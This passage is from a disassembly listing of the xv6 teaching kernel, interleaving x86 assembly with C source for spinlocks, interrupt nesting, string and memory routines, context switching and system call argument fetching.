movzbl %al,%eax } 80104102: 83 c4 04 add $0x4,%esp 80104105: 5b pop %ebx 80104106: 5d pop %ebp 80104107: c3 ret 80104108: 90 nop 80104109: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104110 <pushcli>: // it takes two popcli to undo two pushcli. Also, if interrupts // are off, then pushcli, popcli leaves them off. void pushcli(void) { 80104110: 55 push %ebp 80104111: 89 e5 mov %esp,%ebp 80104113: 53 push %ebx 80104114: 83 ec 04 sub $0x4,%esp 80104117: 9c pushf 80104118: 5b pop %ebx asm volatile("cli"); 80104119: fa cli int eflags; eflags = readeflags(); cli(); if(mycpu()->ncli == 0) 8010411a: e8 f1 f4 ff ff call 80103610 <mycpu> 8010411f: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax 80104125: 85 c0 test %eax,%eax 80104127: 75 11 jne 8010413a <pushcli+0x2a> mycpu()->intena = eflags & FL_IF; 80104129: e8 e2 f4 ff ff call 80103610 <mycpu> 8010412e: 81 e3 00 02 00 00 and $0x200,%ebx 80104134: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax) mycpu()->ncli += 1; 8010413a: e8 d1 f4 ff ff call 80103610 <mycpu> 8010413f: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax) } 80104146: 83 c4 04 add $0x4,%esp 80104149: 5b pop %ebx 8010414a: 5d pop %ebp 8010414b: c3 ret 8010414c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104150 <acquire>: { 80104150: 55 push %ebp 80104151: 89 e5 mov %esp,%ebp 80104153: 53 push %ebx 80104154: 83 ec 14 sub $0x14,%esp pushcli(); // disable interrupts to avoid deadlock. 80104157: e8 b4 ff ff ff call 80104110 <pushcli> if(holding(lk)) 8010415c: 8b 55 08 mov 0x8(%ebp),%edx return lock->locked && lock->cpu == mycpu(); 8010415f: 8b 02 mov (%edx),%eax 80104161: 85 c0 test %eax,%eax 80104163: 75 43 jne 801041a8 <acquire+0x58> asm volatile("lock; xchgl %0, %1" : 80104165: b9 01 00 00 00 mov $0x1,%ecx 8010416a: eb 07 jmp 80104173 <acquire+0x23> 8010416c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104170: 8b 55 08 mov 0x8(%ebp),%edx 80104173: 89 c8 mov %ecx,%eax 80104175: f0 87 02 lock xchg %eax,(%edx) while(xchg(&lk->locked, 1) != 0) 80104178: 85 c0 test %eax,%eax 8010417a: 75 f4 jne 80104170 <acquire+0x20> __sync_synchronize(); 8010417c: 0f ae f0 mfence lk->cpu = mycpu(); 8010417f: 8b 5d 08 mov 0x8(%ebp),%ebx 80104182: e8 89 f4 ff ff call 80103610 <mycpu> 80104187: 89 43 08 mov %eax,0x8(%ebx) getcallerpcs(&lk, lk->pcs); 8010418a: 8b 45 08 mov 0x8(%ebp),%eax 8010418d: 83 c0 0c add $0xc,%eax 80104190: 89 44 24 04 mov %eax,0x4(%esp) 80104194: 8d 45 08 lea 0x8(%ebp),%eax 80104197: 89 04 24 mov %eax,(%esp) 8010419a: e8 e1 fe ff ff call 80104080 <getcallerpcs> } 8010419f: 83 c4 14 add $0x14,%esp 801041a2: 5b pop %ebx 801041a3: 5d pop %ebp 801041a4: c3 ret 801041a5: 8d 76 00 lea 0x0(%esi),%esi return lock->locked && lock->cpu == mycpu(); 801041a8: 8b 5a 08 mov 0x8(%edx),%ebx 801041ab: e8 60 f4 ff ff call 80103610 <mycpu> if(holding(lk)) 801041b0: 39 c3 cmp %eax,%ebx 801041b2: 74 05 je 801041b9 <acquire+0x69> 801041b4: 8b 55 08 mov 0x8(%ebp),%edx 801041b7: eb ac jmp 80104165 <acquire+0x15> panic("acquire"); 801041b9: c7 04 24 23 75 10 80 movl $0x80107523,(%esp) 801041c0: e8 9b c1 ff ff call 80100360 <panic> 801041c5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801041c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801041d0 <popcli>: void popcli(void) { 801041d0: 55 push %ebp 801041d1: 89 e5 mov %esp,%ebp 801041d3: 83 ec 18 sub $0x18,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 801041d6: 9c pushf 801041d7: 58 pop %eax if(readeflags()&FL_IF) 801041d8: f6 c4 02 test $0x2,%ah 801041db: 75 49 jne 80104226 <popcli+0x56> panic("popcli - interruptible"); if(--mycpu()->ncli < 0) 801041dd: e8 2e f4 ff ff call 80103610 <mycpu> 801041e2: 8b 88 a4 00 00 00 mov 0xa4(%eax),%ecx 801041e8: 8d 51 ff lea -0x1(%ecx),%edx 801041eb: 85 d2 test %edx,%edx 801041ed: 89 90 a4 00 00 00 mov %edx,0xa4(%eax) 801041f3: 78 25 js 8010421a <popcli+0x4a> panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 801041f5: e8 16 f4 ff ff call 80103610 <mycpu> 801041fa: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx 80104200: 85 d2 test %edx,%edx 80104202: 74 04 je 80104208 <popcli+0x38> sti(); } 80104204: c9 leave 80104205: c3 ret 80104206: 66 90 xchg %ax,%ax if(mycpu()->ncli == 0 && mycpu()->intena) 80104208: e8 03 f4 ff ff call 80103610 <mycpu> 8010420d: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax 80104213: 85 c0 test %eax,%eax 80104215: 74 ed je 80104204 <popcli+0x34> asm volatile("sti"); 80104217: fb sti } 80104218: c9 leave 80104219: c3 ret panic("popcli"); 8010421a: c7 04 24 42 75 10 80 movl $0x80107542,(%esp) 80104221: e8 3a c1 ff ff call 80100360 <panic> panic("popcli - interruptible"); 80104226: c7 04 24 2b 75 10 80 movl $0x8010752b,(%esp) 8010422d: e8 2e c1 ff ff call 80100360 <panic> 80104232: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104239: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104240 <release>: { 80104240: 55 push %ebp 80104241: 89 e5 mov %esp,%ebp 80104243: 56 push %esi 80104244: 53 push %ebx 80104245: 83 ec 10 sub $0x10,%esp 80104248: 8b 5d 08 mov 0x8(%ebp),%ebx return lock->locked && lock->cpu == mycpu(); 8010424b: 8b 03 mov (%ebx),%eax 8010424d: 85 c0 test %eax,%eax 8010424f: 75 0f jne 80104260 <release+0x20> panic("release"); 80104251: c7 04 24 49 75 10 80 movl $0x80107549,(%esp) 80104258: e8 03 c1 ff ff call 80100360 <panic> 8010425d: 8d 76 00 lea 0x0(%esi),%esi return lock->locked && lock->cpu == mycpu(); 80104260: 8b 73 08 mov 0x8(%ebx),%esi 80104263: e8 a8 f3 ff ff call 80103610 <mycpu> if(!holding(lk)) 80104268: 39 c6 cmp %eax,%esi 8010426a: 75 e5 jne 80104251 <release+0x11> lk->pcs[0] = 0; 8010426c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) lk->cpu = 0; 80104273: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) __sync_synchronize(); 8010427a: 0f ae f0 mfence asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 8010427d: c7 03 00 00 00 00 movl $0x0,(%ebx) } 80104283: 83 c4 10 add $0x10,%esp 80104286: 5b pop %ebx 80104287: 5e pop %esi 80104288: 5d pop %ebp popcli(); 80104289: e9 42 ff ff ff jmp 801041d0 <popcli> 8010428e: 66 90 xchg %ax,%ax 80104290 <memset>: #include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { 80104290: 55 push %ebp 80104291: 89 e5 mov %esp,%ebp 80104293: 8b 55 08 mov 0x8(%ebp),%edx 80104296: 57 push %edi 80104297: 8b 4d 10 mov 0x10(%ebp),%ecx 8010429a: 53 push %ebx if ((int)dst%4 == 0 && n%4 == 0){ 8010429b: f6 c2 03 test $0x3,%dl 8010429e: 75 05 jne 801042a5 <memset+0x15> 801042a0: f6 c1 03 test $0x3,%cl 801042a3: 74 13 je 801042b8 <memset+0x28> asm volatile("cld; rep stosb" : 801042a5: 89 d7 mov %edx,%edi 801042a7: 8b 45 0c mov 0xc(%ebp),%eax 801042aa: fc cld 801042ab: f3 aa rep stos %al,%es:(%edi) c &= 0xFF; stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); } else stosb(dst, c, n); return dst; } 801042ad: 5b pop %ebx 801042ae: 89 d0 mov %edx,%eax 801042b0: 5f pop %edi 801042b1: 5d pop %ebp 801042b2: c3 ret 801042b3: 90 nop 801042b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c &= 0xFF; 801042b8: 0f b6 7d 0c movzbl 0xc(%ebp),%edi stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); 801042bc: c1 e9 02 shr $0x2,%ecx 801042bf: 89 f8 mov %edi,%eax 801042c1: 89 fb mov %edi,%ebx 801042c3: c1 e0 18 shl $0x18,%eax 801042c6: c1 e3 10 shl $0x10,%ebx 801042c9: 09 d8 or %ebx,%eax 801042cb: 09 f8 or %edi,%eax 801042cd: c1 e7 08 shl $0x8,%edi 801042d0: 09 f8 or %edi,%eax asm volatile("cld; rep stosl" : 801042d2: 89 d7 mov %edx,%edi 801042d4: fc cld 801042d5: f3 ab rep stos %eax,%es:(%edi) } 801042d7: 5b pop %ebx 801042d8: 89 d0 mov %edx,%eax 801042da: 5f pop %edi 801042db: 5d pop %ebp 801042dc: c3 ret 801042dd: 8d 76 00 lea 0x0(%esi),%esi 801042e0 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 801042e0: 55 push %ebp 801042e1: 89 e5 mov %esp,%ebp 801042e3: 8b 45 10 mov 0x10(%ebp),%eax 801042e6: 57 push %edi 801042e7: 56 push %esi 801042e8: 8b 75 0c mov 0xc(%ebp),%esi 801042eb: 53 push %ebx 801042ec: 8b 5d 08 mov 0x8(%ebp),%ebx const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 801042ef: 85 c0 test %eax,%eax 801042f1: 8d 78 ff lea -0x1(%eax),%edi 801042f4: 74 26 je 8010431c <memcmp+0x3c> if(*s1 != *s2) 801042f6: 0f b6 03 movzbl (%ebx),%eax 801042f9: 31 d2 xor %edx,%edx 801042fb: 0f b6 0e movzbl (%esi),%ecx 801042fe: 38 c8 cmp %cl,%al 80104300: 74 16 je 80104318 <memcmp+0x38> 80104302: eb 24 jmp 80104328 <memcmp+0x48> 80104304: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104308: 0f b6 44 13 01 movzbl 0x1(%ebx,%edx,1),%eax 8010430d: 83 c2 01 add $0x1,%edx 80104310: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 80104314: 38 c8 cmp %cl,%al 80104316: 75 10 jne 80104328 <memcmp+0x48> while(n-- > 0){ 80104318: 39 fa cmp %edi,%edx 8010431a: 75 ec jne 80104308 <memcmp+0x28> return *s1 - *s2; s1++, s2++; } return 0; } 8010431c: 5b pop %ebx return 0; 8010431d: 31 c0 xor %eax,%eax } 8010431f: 5e pop %esi 80104320: 5f pop %edi 80104321: 5d pop %ebp 80104322: c3 ret 80104323: 90 nop 80104324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104328: 5b pop %ebx return *s1 - *s2; 80104329: 29 c8 sub %ecx,%eax } 8010432b: 5e pop %esi 8010432c: 5f pop %edi 8010432d: 5d pop %ebp 8010432e: c3 ret 8010432f: 90 nop 80104330 <memmove>: void* memmove(void *dst, const void *src, uint n) { 80104330: 55 push %ebp 80104331: 89 e5 mov %esp,%ebp 80104333: 57 push %edi 80104334: 8b 45 08 mov 0x8(%ebp),%eax 80104337: 56 push %esi 80104338: 8b 75 0c mov 0xc(%ebp),%esi 8010433b: 53 push %ebx 8010433c: 8b 5d 10 mov 0x10(%ebp),%ebx const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 8010433f: 39 c6 cmp %eax,%esi 80104341: 73 35 jae 80104378 <memmove+0x48> 80104343: 8d 0c 1e lea (%esi,%ebx,1),%ecx 80104346: 39 c8 cmp %ecx,%eax 80104348: 73 2e jae 80104378 <memmove+0x48> s += n; d += n; while(n-- > 0) 8010434a: 85 db test %ebx,%ebx d += n; 8010434c: 8d 3c 18 lea (%eax,%ebx,1),%edi while(n-- > 0) 8010434f: 8d 53 ff lea -0x1(%ebx),%edx 80104352: 74 1b je 8010436f <memmove+0x3f> 80104354: f7 db neg %ebx 80104356: 8d 34 19 lea (%ecx,%ebx,1),%esi 80104359: 01 fb add %edi,%ebx 8010435b: 90 nop 8010435c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *--d = *--s; 80104360: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 80104364: 88 0c 13 mov %cl,(%ebx,%edx,1) while(n-- > 0) 80104367: 83 ea 01 sub $0x1,%edx 8010436a: 83 fa ff cmp $0xffffffff,%edx 8010436d: 75 f1 jne 80104360 <memmove+0x30> } else while(n-- > 0) *d++ = *s++; return dst; } 8010436f: 5b pop %ebx 80104370: 5e pop %esi 80104371: 5f pop %edi 80104372: 5d pop %ebp 80104373: c3 ret 80104374: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(n-- > 0) 80104378: 31 d2 xor %edx,%edx 8010437a: 85 db test %ebx,%ebx 8010437c: 74 f1 je 8010436f <memmove+0x3f> 8010437e: 66 90 xchg %ax,%ax *d++ = *s++; 80104380: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 80104384: 88 0c 10 mov %cl,(%eax,%edx,1) 80104387: 83 c2 01 add $0x1,%edx while(n-- > 0) 8010438a: 39 da cmp %ebx,%edx 8010438c: 75 f2 jne 80104380 <memmove+0x50> } 8010438e: 5b pop %ebx 8010438f: 5e pop %esi 80104390: 5f pop %edi 80104391: 5d pop %ebp 80104392: c3 ret 80104393: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104399: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801043a0 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 801043a0: 55 push %ebp 801043a1: 89 e5 mov %esp,%ebp return memmove(dst, src, n); } 801043a3: 5d pop %ebp return memmove(dst, src, n); 801043a4: eb 8a jmp 80104330 <memmove> 801043a6: 8d 76 00 lea 0x0(%esi),%esi 801043a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801043b0 <strncmp>: int strncmp(const char *p, const char *q, uint n) { 801043b0: 55 push %ebp 801043b1: 89 e5 mov %esp,%ebp 801043b3: 56 push %esi 801043b4: 8b 75 10 mov 0x10(%ebp),%esi 801043b7: 53 push %ebx 801043b8: 8b 4d 08 mov 0x8(%ebp),%ecx 801043bb: 8b 5d 0c mov 0xc(%ebp),%ebx while(n > 0 && *p && *p == *q) 801043be: 85 f6 test %esi,%esi 801043c0: 74 30 je 801043f2 <strncmp+0x42> 801043c2: 0f b6 01 movzbl (%ecx),%eax 801043c5: 84 c0 test %al,%al 801043c7: 74 2f je 801043f8 <strncmp+0x48> 801043c9: 0f b6 13 movzbl (%ebx),%edx 801043cc: 38 d0 cmp %dl,%al 801043ce: 75 46 jne 80104416 <strncmp+0x66> 801043d0: 8d 51 01 lea 0x1(%ecx),%edx 801043d3: 01 ce add %ecx,%esi 801043d5: eb 14 jmp 801043eb <strncmp+0x3b> 801043d7: 90 nop 801043d8: 0f b6 02 movzbl (%edx),%eax 801043db: 84 c0 test %al,%al 801043dd: 74 31 je 80104410 <strncmp+0x60> 801043df: 0f b6 19 movzbl (%ecx),%ebx 801043e2: 83 c2 01 add $0x1,%edx 801043e5: 38 d8 cmp %bl,%al 801043e7: 75 17 jne 80104400 <strncmp+0x50> n--, p++, q++; 801043e9: 89 cb mov %ecx,%ebx while(n > 0 && *p && *p == *q) 801043eb: 39 f2 cmp %esi,%edx n--, p++, q++; 801043ed: 8d 4b 01 lea 0x1(%ebx),%ecx while(n > 0 && *p && *p == *q) 801043f0: 75 e6 jne 801043d8 <strncmp+0x28> if(n == 0) return 0; return (uchar)*p - (uchar)*q; } 801043f2: 5b pop %ebx return 0; 801043f3: 31 c0 xor %eax,%eax } 801043f5: 5e pop %esi 801043f6: 5d pop %ebp 801043f7: c3 ret 801043f8: 0f b6 1b movzbl (%ebx),%ebx while(n > 0 && *p && *p == *q) 801043fb: 31 c0 xor %eax,%eax 801043fd: 8d 76 00 lea 0x0(%esi),%esi return (uchar)*p - (uchar)*q; 80104400: 0f b6 d3 movzbl %bl,%edx 80104403: 29 d0 sub %edx,%eax } 80104405: 5b pop %ebx 80104406: 5e pop %esi 80104407: 5d pop %ebp 80104408: c3 ret 80104409: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104410: 0f b6 5b 01 movzbl 0x1(%ebx),%ebx 80104414: eb ea jmp 80104400 <strncmp+0x50> while(n > 0 && *p && *p == *q) 80104416: 89 d3 mov %edx,%ebx 80104418: eb e6 jmp 80104400 <strncmp+0x50> 8010441a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104420 <strncpy>: char* strncpy(char *s, const char *t, int n) { 80104420: 55 push %ebp 80104421: 89 e5 mov %esp,%ebp 80104423: 8b 45 08 mov 0x8(%ebp),%eax 80104426: 56 push %esi 80104427: 8b 4d 10 mov 0x10(%ebp),%ecx 8010442a: 53 push %ebx 8010442b: 8b 5d 0c mov 0xc(%ebp),%ebx char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) 8010442e: 89 c2 mov %eax,%edx 80104430: eb 19 jmp 8010444b <strncpy+0x2b> 80104432: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104438: 83 c3 01 add $0x1,%ebx 8010443b: 0f b6 4b ff movzbl -0x1(%ebx),%ecx 8010443f: 83 c2 01 add $0x1,%edx 80104442: 84 c9 test %cl,%cl 80104444: 88 4a ff mov %cl,-0x1(%edx) 80104447: 74 09 je 80104452 <strncpy+0x32> 80104449: 89 f1 mov %esi,%ecx 8010444b: 85 c9 test %ecx,%ecx 8010444d: 8d 71 ff lea -0x1(%ecx),%esi 80104450: 7f e6 jg 80104438 <strncpy+0x18> ; while(n-- > 0) 80104452: 31 c9 xor %ecx,%ecx 80104454: 85 f6 test %esi,%esi 80104456: 7e 0f jle 80104467 <strncpy+0x47> *s++ = 0; 80104458: c6 04 0a 00 movb $0x0,(%edx,%ecx,1) 8010445c: 89 f3 mov %esi,%ebx 8010445e: 83 c1 01 add $0x1,%ecx 80104461: 29 cb sub %ecx,%ebx while(n-- > 0) 80104463: 85 db test %ebx,%ebx 80104465: 7f f1 jg 80104458 <strncpy+0x38> return os; } 80104467: 5b pop %ebx 80104468: 5e pop %esi 80104469: 5d pop %ebp 8010446a: c3 ret 8010446b: 90 nop 8010446c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104470 <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 80104470: 55 push %ebp 80104471: 89 e5 mov %esp,%ebp 80104473: 8b 4d 10 mov 0x10(%ebp),%ecx 80104476: 56 push %esi 80104477: 8b 45 08 mov 0x8(%ebp),%eax 8010447a: 53 push %ebx 8010447b: 8b 55 0c mov 0xc(%ebp),%edx char *os; os = s; if(n <= 0) 8010447e: 85 c9 test %ecx,%ecx 80104480: 7e 26 jle 801044a8 <safestrcpy+0x38> 80104482: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi 80104486: 89 c1 mov %eax,%ecx 80104488: eb 17 jmp 801044a1 <safestrcpy+0x31> 8010448a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return os; while(--n > 0 && (*s++ = *t++) != 0) 80104490: 83 c2 01 add $0x1,%edx 80104493: 0f b6 5a ff movzbl -0x1(%edx),%ebx 80104497: 83 c1 01 add $0x1,%ecx 8010449a: 84 db test %bl,%bl 8010449c: 88 59 ff mov %bl,-0x1(%ecx) 8010449f: 74 04 je 801044a5 <safestrcpy+0x35> 801044a1: 39 f2 cmp %esi,%edx 801044a3: 75 eb jne 80104490 <safestrcpy+0x20> ; *s = 0; 801044a5: c6 01 00 movb $0x0,(%ecx) return os; } 801044a8: 5b pop %ebx 801044a9: 5e pop %esi 801044aa: 5d pop %ebp 801044ab: c3 ret 801044ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801044b0 <strlen>: int strlen(const char *s) { 801044b0: 55 push %ebp int n; for(n = 0; s[n]; n++) 801044b1: 31 c0 xor %eax,%eax { 801044b3: 89 e5 mov %esp,%ebp 801044b5: 8b 55 08 mov 0x8(%ebp),%edx for(n = 0; s[n]; n++) 801044b8: 80 3a 00 cmpb $0x0,(%edx) 801044bb: 74 0c je 801044c9 <strlen+0x19> 801044bd: 8d 76 00 lea 0x0(%esi),%esi 801044c0: 83 c0 01 add $0x1,%eax 801044c3: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 801044c7: 75 f7 jne 801044c0 <strlen+0x10> ; return n; } 801044c9: 5d pop %ebp 801044ca: c3 ret 801044cb <swtch>: # Save current register context in old # and then load register context from new. .globl swtch swtch: movl 4(%esp), %eax 801044cb: 8b 44 24 04 mov 0x4(%esp),%eax movl 8(%esp), %edx 801044cf: 8b 54 24 08 mov 0x8(%esp),%edx # Save old callee-save registers pushl %ebp 801044d3: 55 push %ebp pushl %ebx 801044d4: 53 push %ebx pushl %esi 801044d5: 56 push %esi pushl %edi 801044d6: 57 push %edi # Switch stacks movl %esp, (%eax) 801044d7: 89 20 mov %esp,(%eax) movl %edx, %esp 801044d9: 89 d4 mov %edx,%esp # Load new callee-save registers popl %edi 801044db: 5f pop %edi popl %esi 801044dc: 5e pop %esi popl %ebx 801044dd: 5b pop %ebx popl %ebp 801044de: 5d pop %ebp ret 801044df: c3 ret 801044e0 <fetchint>: // to a saved program counter, and then the first argument. // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { 801044e0: 55 push %ebp 801044e1: 89 e5 mov %esp,%ebp 801044e3: 53 push %ebx 801044e4: 83 ec 04 sub $0x4,%esp 801044e7: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *curproc = myproc(); 801044ea: e8 c1 f1 ff ff call 801036b0 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 801044ef: 8b 00 mov (%eax),%eax 801044f1: 39 d8 cmp %ebx,%eax 801044f3: 76 1b jbe 80104510 <fetchint+0x30> 801044f5: 8d 53 04 lea 0x4(%ebx),%edx 801044f8: 39 d0 cmp %edx,%eax 801044fa: 72 14 jb 80104510 <fetchint+0x30> return -1; *ip = *(int*)(addr); 801044fc: 8b 45 0c mov 0xc(%ebp),%eax 801044ff: 8b 13 mov (%ebx),%edx 80104501: 89 10 mov %edx,(%eax) return 0; 80104503: 31 c0 xor %eax,%eax } 80104505: 83 c4 04 add $0x4,%esp 80104508: 5b pop %ebx 80104509: 5d pop %ebp 8010450a: c3 ret 8010450b: 90 nop 8010450c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104510: b8 ff ff ff ff mov $0xffffffff,%eax 80104515: eb ee jmp 80104505 <fetchint+0x25> 80104517: 89 f6 mov %esi,%esi 80104519: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104520 <fetchstr>: // Fetch the nul-terminated string at addr from the current process. // Doesn't actually copy the string - just sets *pp to point at it. // Returns length of string, not including nul. int fetchstr(uint addr, char **pp) { 80104520: 55 push %ebp 80104521: 89 e5 mov %esp,%ebp 80104523: 53 push %ebx 80104524: 83 ec 04 sub $0x4,%esp 80104527: 8b 5d 08 mov 0x8(%ebp),%ebx char *s, *ep; struct proc *curproc = myproc(); 8010452a: e8 81 f1 ff ff call 801036b0 <myproc> if(addr >= curproc->sz) 8010452f: 39 18 cmp %ebx,(%eax) 80104531: 76 26 jbe 80104559 <fetchstr+0x39> return -1; *pp = (char*)addr; 80104533: 8b 4d 0c mov 0xc(%ebp),%ecx 80104536: 89 da mov %ebx,%edx 80104538: 89 19 mov %ebx,(%ecx) ep = (char*)curproc->sz; 8010453a: 8b 00 mov (%eax),%eax for(s = *pp; s < ep; s++){ 8010453c: 39 c3 cmp %eax,%ebx 8010453e: 73 19 jae 80104559 <fetchstr+0x39> if(*s == 0) 80104540: 80 3b 00 cmpb $0x0,(%ebx) 80104543: 75 0d jne 80104552 <fetchstr+0x32> 80104545: eb 21 jmp 80104568 <fetchstr+0x48> 80104547: 90 nop 80104548: 80 3a 00 cmpb $0x0,(%edx) 8010454b: 90 nop 8010454c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104550: 74 16 je 80104568 <fetchstr+0x48> for(s = *pp; s < ep; s++){ 80104552: 83 c2 01 add $0x1,%edx 80104555: 39 d0 cmp %edx,%eax 80104557: 77 ef ja 80104548 <fetchstr+0x28> return s - *pp; } return -1; } 80104559: 83 c4 04 add $0x4,%esp return -1; 8010455c: b8 ff ff ff ff mov $0xffffffff,%eax } 80104561: 5b pop %ebx 80104562: 5d pop %ebp 80104563: c3 ret 80104564: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104568: 83 c4 04 add $0x4,%esp return s - *pp; 8010456b: 89 d0 mov %edx,%eax 8010456d: 29 d8 sub %ebx,%eax } 8010456f: 5b pop %ebx 80104570: 5d pop %ebp 80104571: c3 ret 80104572: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104579: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104580 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 80104580: 55 push %ebp 80104581: 89 e5 mov %esp,%ebp 80104583: 56 push %esi 80104584: 8b 75 0c mov 0xc(%ebp),%esi 80104587: 53 push %ebx 80104588: 8b 5d 08 mov 0x8(%ebp),%ebx return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 8010458b: e8 20 f1 ff ff call 801036b0 <myproc> 80104590: 89 75 0c mov %esi,0xc(%ebp) 80104593: 8b 40 18 mov 0x18(%eax),%eax 80104596: 8b 40 44 mov 0x44(%eax),%eax 80104599: 8d 44 98 04 lea 0x4(%eax,%ebx,4),%eax 8010459d: 89 45 08 mov %eax,0x8(%ebp) } 801045a0: 5b pop %ebx 801045a1: 5e pop %esi 801045a2: 5d pop %ebp return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 801045a3: e9 38 ff ff ff jmp 801044e0 <fetchint> 801045a8: 90 nop 801045a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801045b0 <argptr>: // Fetch the nth word-sized system call argument as a pointer // to a block of memory of size bytes. Check that the pointer // lies within the process address space. int argptr(int n, char **pp, int size) { 801045b0: 55 push %ebp 801045b1: 89 e5 mov %esp,%ebp 801045b3: 56 push %esi 801045b4: 53 push %ebx 801045b5: 83 ec 20 sub $0x20,%esp 801045b8: 8b 5d 10 mov 0x10(%ebp),%ebx int i; struct proc *curproc = myproc(); 801045bb: e8 f0 f0 ff ff call 801036b0 <myproc> 801045c0: 89 c6 mov %eax,%esi if(argint(n, &i) < 0) 801045c2: 8d 45 f4 lea -0xc(%ebp),%eax 801045c5: 89 44 24 04 mov %eax,0x4(%esp) 801045c9: 8b 45 08 mov 0x8(%ebp),%eax 801045cc: 89 04 24 mov %eax,(%esp) 801045cf: e8 ac ff ff ff call 80104580 <argint> 801045d4: 85 c0 test %eax,%eax 801045d6: 78 28 js 80104600 <argptr+0x50> return -1; if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz) 801045d8: 85 db test %ebx,%ebx 801045da: 78 24 js 80104600 <argptr+0x50> 801045dc: 8b 55 f4 mov -0xc(%ebp),%edx 801045df: 8b 06 mov (%esi),%eax 801045e1: 39 c2 cmp %eax,%edx 801045e3: 73 1b jae 80104600 <argptr+0x50> 801045e5: 01 d3 add %edx,%ebx 801045e7: 39 d8 cmp %ebx,%eax 801045e9: 72 15 jb 80104600 <argptr+0x50> return -1; *pp = (char*)i; 801045eb: 8b 45 0c mov 0xc(%ebp),%eax 801045ee: 89 10 mov %edx,(%eax) return 0; } 801045f0: 83 c4 20 add $0x20,%esp return 0; 801045f3: 31 c0 xor %eax,%eax } 801045f5: 5b pop %ebx 801045f6: 5e pop %esi 801045f7: 5d pop %ebp 801045f8: c3 ret 801045f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104600: 83 c4 20 add $0x20,%esp return -1; 80104603: b8 ff ff ff ff mov $0xffffffff,%eax } 80104608: 5b pop %ebx 80104609: 5e pop %esi 8010460a: 5d pop %ebp 8010460b: c3 ret 8010460c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104610 <argstr>: // Check that the pointer is valid and the string is nul-terminated. // (There is no shared writable memory, so the string can't change // between this check and being used by the kernel.) int argstr(int n, char **pp) { 80104610: 55 push %ebp 80104611: 89 e5 mov %esp,%ebp 80104613: 83 ec 28 sub $0x28,%esp int addr; if(argint(n, &addr) < 0) 80104616: 8d 45 f4 lea -0xc(%ebp),%eax 80104619: 89 44 24 04 mov %eax,0x4(%esp) 8010461d: 8b 45 08 mov 0x8(%ebp),%eax 80104620: 89 04 24 mov %eax,(%esp) 80104623: e8 58 ff ff ff call 80104580 <argint> 80104628: 85 c0 test %eax,%eax 8010462a: 78 14 js 80104640 <argstr+0x30> return -1; return fetchstr(addr, pp); 8010462c: 8b 45 0c mov 0xc(%ebp),%eax 8010462f: 89 44 24 04 mov %eax,0x4(%esp) 80104633: 8b 45 f4 mov -0xc(%ebp),%eax 80104636: 89 04 24 mov %eax,(%esp) 80104639: e8 e2 fe ff ff call 80104520 <fetchstr> } 8010463e: c9 leave 8010463f: c3 ret return -1; 80104640: b8 ff ff ff 